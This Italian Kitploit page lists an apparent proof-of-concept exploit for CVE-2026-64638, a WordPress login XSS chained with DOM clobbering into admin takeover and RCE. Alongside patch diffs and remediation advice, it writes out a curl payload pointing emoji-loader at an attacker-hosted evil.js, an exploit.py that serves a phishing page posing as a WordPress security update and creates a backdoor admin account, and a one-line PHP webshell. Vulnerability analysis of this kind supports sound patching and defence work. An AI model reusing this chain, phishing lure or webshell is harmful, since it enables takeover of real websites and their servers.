Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-64638 — Exploit proof-of-concept per CVE-2026-64638: XSS riflesso nel login di WordPress combinato con DOM clobbering per ottenere la compromissione dell'account amministratore e l'esecuzione di codice remoto. | Kitploit
Strumenti/GitHubGitHub/dungsocool/cve-2026-64638
Strumenti di PhishingAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSicurezza WebSviluppo Payload
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

Exploit proof-of-concept per CVE-2026-64638: XSS riflesso nel login di WordPress combinato con DOM clobbering per ottenere la compromissione dell'account amministratore e l'esecuzione di codice remoto.

Vedi Repository
91 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-64638

XSS riflesso sulla schermata di login che porta all'esecuzione di codice PHP — WordPress Core

Software: WordPress Core ≤ 7.0.2 (tutte le versioni precedenti alla 7.0.3)

CVSS: 8.9 (Alto)

CWE: CWE-79 — Neutralizzazione impropria dell'input durante la generazione di pagine web

Autenticazione richiesta: Nessuna (Pre-Auth)

Interazione utente: Attiva (l'admin deve cliccare 1 link)

Impatto: XSS → Compromissione account → Esecuzione remota di codice


1. Cos'è questa vulnerabilità?

WordPress è il sistema di gestione dei contenuti più popolare al mondo, utilizzato da oltre il 40% di tutti i siti web su internet. Ogni sito WordPress ha una pagina di login all'indirizzo /wp-login.php — si tratta di un endpoint pubblico che chiunque può raggiungere senza autenticazione.

Quando un utente inserisce un nome utente errato, WordPress mostra un messaggio di errore contenente l'esatto nome utente appena digitato: «Il nome utente X non è registrato su questo sito.» Il problema sta nel fatto che il valore del nome utente viene inserito direttamente nella risposta HTML senza passare attraverso alcuna funzione di escape — un attaccante deve semplicemente inserire HTML/JavaScript al posto di un vero nome utente e il codice verrà eseguito nel browser.

Si tratta di una vulnerabilità XSS riflesso — il payload è contenuto nella richiesta e viene riflesso in modo identico dal server nell'HTML. Ciò che la rende pericolosa è che la vulnerabilità risiede nella pagina di login — un luogo visitato di frequente dagli admin, dove i cookie di sessione dell'admin possono essere rubati.

Il team di ricerca ha inoltre scoperto che questo XSS può essere concatenato con una vulnerabilità di DOM clobbering nell'emoji-loader di WordPress, consentendo di caricare JavaScript da un server esterno. Da lì, un attaccante può creare un nuovo account admin → installare un plugin contenente una webshell → eseguire codice PHP sul server. Questa catena di exploit è denominata XSS2Shell.

2. Spiegazione della terminologia

DOM Clobbering ed emoji-loader

WordPress carica il supporto alle emoji su ogni pagina (inclusa la pagina di login) tramite il file emoji-loader.js. Questo script legge la configurazione da un elemento con id="wp-emoji-settings":

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById() restituisce il primo elemento nel DOM con un id corrispondente. Se un attaccante inietta un <div id="wp-emoji-settings"> prima del tag script originale, getElementById leggerà il contenuto dell'attaccante invece della configurazione reale. Questa tecnica è chiamata DOM clobbering — sovrascrivere il comportamento di JavaScript iniettando elementi HTML.

La configurazione delle emoji contiene un URL per caricare un file JavaScript (concatemoji). L'attaccante controlla questo URL → carica un file JS da un server esterno → esegue codice arbitrario nel contesto del browser.

Da XSS a RCE su WordPress

Una volta ottenuta l'esecuzione di JavaScript nel contesto admin, l'attaccante ha pieni privilegi di amministrazione su WordPress:

  1. Creare un nuovo account admin — chiamare /wp-admin/user-new.php con la sessione admin
  2. Installare un plugin contenente codice PHP — caricare un plugin tramite /wp-admin/plugin-install.php
  3. Modificare un file del tema — inserire una backdoor PHP tramite l'Editor dei temi

Ciascuno dei 3 metodi sopra consente l'esecuzione di codice PHP sul server — cioè RCE.

3. Analisi del codice sorgente — Causa principale

Passo 1: Individuare il sink — Dove il nome utente viene inserito nell'HTML

Dal commit di correzione 0d6d42e su wordpress-develop, ho identificato 3 punti nel file wp-includes/user.php in cui il nome utente/email viene inserito direttamente nel messaggio di errore:

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

Posizione 1 — Riga 189 (il nome utente non esiste):

Prima :

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

Dopo :

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

Posizione 2 — Riga 216 (password errata):

Prima :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

Dopo :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

Posizione 3 — Riga 299 (password errata per l'email):

Prima :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

Dopo :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

Passo 2: Tracciare la sorgente — Da dove provengono i dati?

Flusso dei dati dalla richiesta POST al messaggio di errore:

root@kitploit:~
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows <div>, <a>,  through
    ↓
HTML response → browser render → JavaScript execute

Passo 3: Due livelli di difesa, punti deboli e conferma tramite debugging

WordPress ha 2 livelli di filtraggio prima che il nome utente raggiunga l'HTML:

Livello 1: sanitize_user() — Chiama strip_tags() per rimuovere i tag HTML. Tuttavia, strip_tags() di PHP ha limitazioni note: la formattazione non standard dei tag può aggirare il filtro.

Livello 2: wp_kses_post() — Consente il passaggio di un sottoinsieme sicuro di HTML, inclusi <div>, <a>, `` con determinati attributi (ma rimuove i gestori di eventi come onerror, onload). In modo cruciale: wp_kses_post consente <div id="wp-emoji-settings"> — esattamente l'elemento necessario per il DOM clobbering.

Il team pwn.ai ha trovato un modo per aggirare entrambi i livelli e iniettare un payload utilizzabile. I dettagli tecnici specifici non sono stati resi pubblici.

Debugging con Xdebug — Conferma del flusso di dati

Per confermare visivamente che il nome utente finisce direttamente nell'HTML senza escape, ho usato Xdebug + VS Code per posizionare breakpoint nei punti chiave della catena di esecuzione.

Passo 1 — Inserire il payload XSS nel modulo di login:

Accedi a http://localhost:8282/wp-login.php, inserisci come nome utente `` e clicca su Accedi. Appare un popup di alert — l'XSS funziona.

image.png

image.png

Passo 2 — Breakpoint a user.php:184 — Dove avviene l'XSS:

Imposta un breakpoint su return new WP_Error(...) all'interno della funzione wp_authenticate_username_password(). Quando il debugger si ferma, osserva:

  • Pannello Variables → Locals: $username = "" — payload HTML intatto, non sottoposto a escape
  • Pannello Superglobals → $_POST: log = "" — conferma che il payload proviene dall'input del modulo
  • Pannello Call Stack: wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

Il valore $username passa da $_POST['log'] → wp_unslash() → (aggira sanitize_user) → sprintf() nel messaggio di errore alle righe 186-189 — nessun esc_html() in mezzo. In laboratorio, sanitize_user() è stato commentato per simulare il bypass scoperto da pwn.ai.

Passo 3 — Breakpoint a functions.php:9200 — Output finale:

Imposta un breakpoint su echo wp_get_admin_notice( $message, $args ) — questa è l'ultima riga prima che l'HTML venga inviato al browser:

  • Pannello Variables → Locals: $message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — il payload risiede intatto nel messaggio di errore HTML
  • La riga 9200 in laboratorio non ha wp_kses_post() che la avvolge (rimossa per simulare il bypass), quindi il payload va direttamente al browser

image.png

Nel WordPress originale, questa riga è echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() rimuoverà l'attributo onerror ma consentirà il passaggio di <div id="wp-emoji-settings"> perché <div> è nella allowlist. Questo è il vettore esatto per l'attacco di DOM clobbering.

Passo 4: Secondo commit di correzione — Indurimento di emoji-loader

Il commit a12c8f5 modifica emoji-loader.js per bloccare il DOM clobbering:

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

La correzione modifica 3 cose:

  1. Usa querySelector('script#...') invece di getElementById — corrisponde solo ai tag <script>
  2. Verifica instanceof HTMLScriptElement — impedisce il DOM clobbering tramite <div> o ``
  3. Usa .text invece di .textContent — .text è una proprietà specifica di HTMLScriptElement

Dopo la correzione, anche se un attaccante riesce a iniettare <div id="wp-emoji-settings">, emoji-loader lo ignorerà perché non è un elemento <script>.

4. Catena di attacco — XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ATTACKER                                                       │
│  Creates phishing link containing XSS payload                   │
│  POST /wp-login.php with log=<div id="wp-emoji-settings">       │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sends link to admin (email, chat, etc.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN CLICKS LINK                                              │
│  Browser POSTs to /wp-login.php → server reflects payload       │
│  → <div id="wp-emoji-settings"> appears in HTML                 │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js executes
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → returns attacker div     │
│  JSON.parse(div.textContent) → reads fake configuration         │
│  Loads script from https://evil.com/rce.js                      │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS executes in admin context
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ACCOUNT TAKEOVER + RCE                                         │
│  1. Fetch /wp-admin/user-new.php → get nonce                    │
│  2. POST create new admin account (backdoor)                    │
│  3. Login using backdoor account                                │
│  4. Install plugin containing PHP webshell                      │
│  5. Call webshell → RCE on server                               │
└─────────────────────────────────────────────────────────────────┘

5. POC — Riproduzione in laboratorio

5.1 Verificare l'endpoint — XSS di base

Accedi a http://localhost:8282/wp-login.php, inserisci:

  • Nome utente: ``
  • Password: arbitraria

Clicca su Accedi. Se appare un popup di alert che mostra «localhost» → l'XSS funziona.

Risultato — payload riflesso intatto nell'HTML:

image.png

5.2 DOM Clobbering — Iniettare impostazioni emoji finte

Payload più complesso — inietta un <div> con id="wp-emoji-settings" contenente JSON che punta al file JS dell'attaccante:

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

Se l'output HTML contiene <div id="wp-emoji-settings"> con il JSON dell'attaccante → emoji-loader caricherà il JS dal server dell'attaccante.

5.3 Catena completa — XSS2Shell con exploit.py

Passo 1: Eseguire il server exploit

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

Lo script exploit.py fornisce 2 cose:

  • http://127.0.0.1:9999/phish.html — pagina di phishing che impersona l'aggiornamento di sicurezza di WordPress
  • http://127.0.0.1:9999/evil.js — payload JS che crea un account admin backdoor

Passo 2: L'admin clicca il link di phishing

L'attaccante invia il link http://127.0.0.1:9999/phish.html all'admin via email/chat. Quando l'admin clicca:

  1. La pagina di phishing invia automaticamente una POST a /wp-login.php con un nome utente contenente il payload XSS
  2. La pagina di login viene renderizzata → <div id="wp-emoji-settings"> appare nell'HTML
  3. emoji-loader.js legge il div falso → carica evil.js dal server dell'attaccante
  4. evil.js viene eseguito nel browser dell'admin → recupera /wp-admin/user-new.php per ottenere il nonce → crea l'account backdoor_xss2shell / Pwn3d!XSS2Shell

image.png

L'intero processo avviene automaticamente; l'admin vede solo la normale pagina di login con l'errore «nome utente non trovato».

Passo 3: L'attaccante accede e carica la webshell

In laboratorio, l'admin aveva già effettuato l'accesso con admin / admin123, quindi evil.js è stato eseguito immediatamente. Dopo aver ottenuto l'accesso all'account, ho subito caricato una webshell tramite Plugin:

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Passo 4: RCE — eseguire comandi sul server

image.png

image.png

L'output ha restituito www-data — l'attaccante ora ha privilegi di esecuzione comandi sul server.

6. Gravità e impatto

Impatto nel mondo reale

  • Colpisce tutte le versioni di WordPress precedenti alla 7.0.3
  • L'endpoint /wp-login.php è sempre pubblico e non può essere nascosto (a meno di usare plugin per cambiare l'URL di login)
  • La pagina di login è un bersaglio naturale per il phishing — gli admin sono abituati a cliccare link verso le pagine di login
  • La catena di exploit XSS → DOM Clobbering → Compromissione admin → RCE non richiede condizioni speciali oltre a 1 clic dell'admin
  • Anche senza concatenarla fino alla RCE, l'XSS sulla pagina di login consente di rubare i cookie di sessione (se HttpOnly non è impostato correttamente) o di fare phishing delle credenziali

7. Rimedio

Corretto in WordPress 7.0.3

Correzione 1 — Escape dell'output (user.php):

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

Correzione 2 — Indurire emoji-loader (emoji-loader.js):

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

Correzione 3 — Escape dell'URL (wp-login.php):

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

Cosa dovrebbero fare gli amministratori di WordPress

  1. Aggiornare immediatamente a WordPress 7.0.3 — patch rilasciata il 08/06/2026
  2. Se si utilizza una versione precedente (6.x, 5.x, 4.7+), WordPress ha backportato la correzione
  3. Controllare i log di accesso: cercare richieste POST a /wp-login.php con payload HTML nel parametro log
  4. Valutare l'uso di regole WAF per bloccare i tag HTML nei campi del modulo di login
  5. Controllare l'elenco degli utenti admin — se si trovano account sconosciuti, il sito potrebbe essere stato compromesso

Lezioni per gli sviluppatori

  1. Eseguire sempre l'escape dell'output, non affidarsi solo alla sanitizzazione dell'input. sanitize_user() è progettato per normalizzare i nomi utente, non per prevenire l'XSS. Difesa in profondità: l'escape nel punto di output (esc_html, esc_attr, esc_url) è il livello di difesa finale e più critico.
  2. Non usare getElementById per dati sensibili alla sicurezza. Il DOM clobbering può iniettare un elemento falso con lo stesso id. Usare querySelector con un nome di tag specifico + verifica instanceof.
  3. wp_kses_post non è un filtro XSS. È progettato per consentire HTML sicuro nel contenuto dei post — non per bloccare l'XSS in altri contesti. Ogni contesto richiede la sua funzione di escape dedicata.
Scarica lo strumento
AttributoValore
ID CVECVE-2026-64638
Punteggio CVSS8.9 (Alto)
SoftwareWordPress Core ≤ 7.0.2
AutenticazioneNon richiesta (Pre-Auth)
Interazione utenteRichiede 1 clic (l'admin clicca il link)
Complessità di attaccoAlta
Corretto inWordPress 7.0.3 (08/06/2026)
Segnalato dateam pwn.ai tramite HackerOne
Report HackerOne#3877102
Metrica CVSSValoreMotivazione
Vettore di attaccoReteTramite HTTP, inviando un link alla vittima
Complessità di attaccoAltaRichiede il bypass di sanitize_user() + wp_kses_post(), richiede il clic della vittima
Privilegi richiestiNessunoL'endpoint di login non richiede autenticazione
Interazione utenteAttivaL'admin deve cliccare il link di phishing
RiservatezzaAltaLettura di cookie, sessione, contenuti del pannello admin
IntegritàAltaCreazione account admin, installazione plugin, modifica file
DisponibilitàAltaRCE → controllo completo del server